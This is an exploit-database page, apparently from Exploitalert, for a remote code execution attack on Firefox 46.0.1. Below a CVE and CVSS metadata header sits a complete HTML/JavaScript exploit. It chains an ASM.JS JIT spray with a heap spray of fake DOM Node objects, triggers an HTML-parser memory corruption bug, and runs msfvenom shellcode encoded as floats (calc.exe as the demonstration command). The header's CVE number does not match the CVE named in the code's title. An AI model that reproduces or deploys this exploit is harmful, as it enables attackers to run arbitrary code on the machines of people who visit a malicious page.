Exploitalert - Database of Exploits

Firefox 46.0.1 ASM.JS JIT-Spray Remote Code Execution

CVE	Category	Price	Severity
CVE-2017-5375	CWE-119	Not specified	Critical

Author	Risk	Exploitation Type	Date
Unknown	Critical	Remote	2018-03-18

CVSS	EPSS	EPSSP
CVSS:4.0/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H	0.02192	0.50148

CVSS vector description

Metric	Value	Metric Description	Value Description
Attack vector	Network	AV	The vulnerable system is bound to the network stack and the set of possible attackers extends beyond the other options listed below, up to and including the entire Internet. Such a vulnerability is often termed “remotely exploitable” and can be thought of as an attack being exploitable at the protocol level one or more network hops away (e.g., across one or more routers). An example of a network attack is an attacker causing a denial of service by sending a specially crafted TCP packet across a wide area network (e.g., CVE-2004-0230).
Attack Complexity	Low	AC	The attacker must take no measurable action to exploit the vulnerability. The attack requires no target-specific circumvention to exploit the vulnerability. An attacker can expect repeatable success against the vulnerable system.
Privileges Required	None	PR	The attacker is unauthenticated prior to attack, and therefore does not require any access to settings or files of the vulnerable system to carry out an attack.
Scope	Unchanged	S	An exploited vulnerability can only affect resources managed by the same security authority. In the case of a vulnerability in a virtualized environment, an exploited vulnerability in one guest instance would not affect neighboring guest instances.
Confidentiality	High	C	There is total information disclosure, resulting in all data on the system being revealed to the attacker, or there is a possibility of the attacker gaining control over confidential data.
Integrity	High	I	There is a total compromise of system integrity. There is a complete loss of system protection, resulting in the attacker being able to modify any file on the target system.
Availability	High	A	There is a total shutdown of the affected resource. The attacker can deny access to the system or data, potentially causing significant loss to the organization.

https://cxsecurity.com/ascii/WLB-2018030134

Firefox 46.0.1 ASM.JS JIT-Spray Remote Code Execution

<!DOCTYPE HTML>  <title>CVE-2016-2819 and ASM.JS JIT-Spray</title> <head> <meta charset=UTF-8 /> <script> "use strict" var Exploit = function(){ this.asmjs = new Asmjs() this.heap = new Heap() } Exploit.prototype.go = function(){ /* target address of fake node object */ var node_target_addr = 0x5a500000 /* target address of asm.js float pool payload*/ var target_eip = 0x20200b58 /* spray asm.js float constant pools */ this.asmjs.spray_float_payload(0x1000) /* spray fake Node objects */ this.heap.spray(node_target_addr, target_eip) /* go! */ this.trigger_vuln(node_target_addr) }; Exploit.prototype.trigger_vuln = function(node_ptr){ document.body.innerHTML = '<table><svg><div id="BBBB">' this.heap.gc() var a = new Array() for (var i=0; i < 0x10100; i++){ /* array element (Node object ptr) control with integer underflow */ a[i] = new Uint32Array(0x100/4) for (var j=0; j<0x100/4; j++) a[i][j] = node_ptr } /* original crashing testcase document.getElementById('BBBB').outerHTML = '<tr><title><ruby><template><table><template><td><col><em><table></tr><th></tr></td></table>hr {}</style>' */ /* easier to exploit codepath */ document.getElementById('BBBB').outerHTML = '<tr><title><ruby><template><table><template><td><col><em><table></tr><th></tr></td></table>hr {}<DD>' window.location.reload() }; var Asmjs = function(){}; Asmjs.prototype.asm_js_module = function(stdlib, ffi){ "use asm" var foo = ffi.foo function payload(){ var val = 0.0 /* Fx 46.0.1 float constant pool of size 0xc0 is at 0xXXXX0b58*/ val = +foo( // $ msfvenom --payload windows/exec CMD=calc.exe # transformed with sc2asmjs.py -1.587865768352248e-263, -8.692422460804815e-255, 7.529882109376901e-114, 2.0120602207293977e-16, 3.7204662687249914e-242, 4.351158092040946e+89, 2.284741716118451e+270, 7.620699014501263e-153, 5.996021286047645e+44, -5.981935902612295e-92, 6.23540918304361e+259, 1.9227873281657598e+256, 2.0672493951546363e+187, -6.971032919585734e+91, 5.651413300798281e-134, -1.9040061366251406e+305, -1.2687640718807038e-241, 9.697849844423e-310, -2.0571400761625145e+306, -1.1777948610587587e-123, 2.708909852013898e+289, 3.591750823735296e+37, -1.7960516725035723e+106, 6.326776523166028e+180 ) return +val; } return payload }; Asmjs.prototype.spray_float_payload = function(regions){ this.modules = new Array(regions).fill(null).map( region => this.asm_js_module(window, {foo: () => 0}) ) }; var Heap = function(target_addr, eip){ this.node_heap = [] }; Heap.prototype.spray = function(node_target_addr, target_eip){ var junk = 0x13371337 var current_address = 0x20000000 var block_size = 0x1000000 while(current_address < node_target_addr){ var fake_objects = new Uint32Array(block_size/4 - 0x100) for (var offset = 0; offset < block_size; offset += 0x100000){ /* target Node object needed to control EIP */ fake_objects[offset/4 + 0x00/4] = 0x29 fake_objects[offset/4 + 0x0c/4] = 3 fake_objects[offset/4 + 0x14/4] = node_target_addr + 0x18 fake_objects[offset/4 + 0x18/4] = 1 fake_objects[offset/4 + 0x1c/4] = junk fake_objects[offset/4 + 0x20/4] = node_target_addr + 0x24 fake_objects[offset/4 + 0x24/4] = node_target_addr + 0x28 fake_objects[offset/4 + 0x28/4] = node_target_addr + 0x2c fake_objects[offset/4 + 0x2c/4] = target_eip } this.node_heap.push(fake_objects) current_address += block_size } }; Heap.prototype.gc = function(){ for (var i=0; i<=10; i++) var x = new ArrayBuffer(0x1000000) }; </script> <head> <body onload='exploit = new Exploit(); exploit.go()' />

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